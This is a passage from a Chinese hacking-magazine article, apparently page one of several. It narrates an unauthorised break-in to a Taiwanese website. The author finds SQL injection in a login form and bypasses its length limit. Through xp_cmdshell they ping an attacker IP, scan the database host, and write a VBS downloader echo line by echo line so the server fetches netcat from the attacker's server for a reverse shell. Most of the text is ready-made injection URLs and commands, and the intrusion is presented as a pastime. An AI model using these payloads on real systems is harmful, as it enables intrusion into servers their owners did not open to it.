|
很久没有入侵了,手有点痒,随便逛了几个TW的网站想找一个有点的价值的网站玩玩,于是找到了这个网站。
习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息: SQL Server 的 Microsoft OLE DB 提供者 (0x80040E14) 遗漏字符字符串 ''' 前面的引号。 /rdshow/modify.asp, line 5
看来是存在注入漏洞的,来看看权限如何。继续在登陆口输入’ and user>0 and ‘’=’,问题出现了:无法完整输入。看来网页对输入长度做了限制,这个难不到我。保存网页,将网页的源代码更改两个地方,一处是Action=modify.asp改为Action=http://www.xxx.org.tw/rdshow/modify.asp,还有一处就是把输入字符的长度改大,也就是maxlength=10改为100,这下可以不受限制的随便输入了。将刚才的代码完整输入后得到以下信息:
SQL Server 的 Microsoft OLE DB 提供者 (0x80040E07) 将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。 /rdshow/modify.asp, line 5
看来有戏,但是这样注入太麻烦了。再看看网页的源代码,如果将这个注入漏洞转化成URL的形式,这样注入就方便多了。同时转化后还有一个很好的优点,就是可以使用NBSI之类的注入工具,大大简化了我们的注入过程。转化后的URL为http://www.xxx.org.tw/rdshow/ modify.asp?bidno=fuck。现在WEB和SQL的主机分开的情况很多,首先我们还是先看看数据库的IP地址吧。打开天网,然后在IE提交: http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck’;exec master.dbo.xp_shell’ ping myip’;-- 从天网的报警日志看出数据库的IP地址为210.208.xxx.253,再Ping www.xxx.org.tw,得到的IP地址却为210.208.xxx.32,看来数据库和WEB服务器不是同一台主机,但是从IP分布来看,这两台主机处于同一个网段,理论上只要我们能攻占下数据库主机,要渗透到WEB服务器也不是难事(后来证明确实如此)。到了这一步,还是先用Superscan扫描一下数据库主机开了些什么端口吧。
小提示:先对数据库服务器扫描的好处有很多,比如可以探测对方是否开了防火墙,是否有FTP或者WEB服务,这样才能确定下一步该怎么注入。
扫描的结果是数据库有防火墙,我的想法是先上传一个NC上去,先得到一个反向的Shell再说。我尝试了很多方法才传上去,先用Tftp没有成功,FTP也没有成功。如果数据库有WEB服务的话还可以写入一个WebShell,可惜没有。没有办法,只好写Iget.vbs(脚本小子:广告时间!黑防上个月开放的下载系统中有下载,地址是www.hacker.com.cn/downweb/index.asp,里面还有一些小东西也挺不错,欢迎大家下载使用,并推荐你觉得功能上有特点的程序),然后让对方下载我WEB服务器上的NC。好,决定后就这样做,继续在IE提交:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iLocal = LCase(WScript.Arguments(1)) > c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iRemote = LCase(WScript.Arguments(0)) >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set xPost = CreateObject("Microsoft.XMLHTTP") >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Open "GET",iRemote,0 >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Send() >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set sGet = CreateObject("ADODB.Stream") >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Mode = 3 >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Type = 1 >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Open() >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Write(xPost.responseBody) >> c:\winnt\system\p.vbs';-- http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.SaveToFile iLocal,2 >>c:\winnt\system\p.vbs';-- |
现在把NBSI2请出来,用其自带的NB command命令执行器查看VBS是否写入成功(用NB TreeList目录列表工具也可以,不过要等半天才能等到结果,我的性子急,所以选择了前者)。
[1] [2] [3] 下一页 |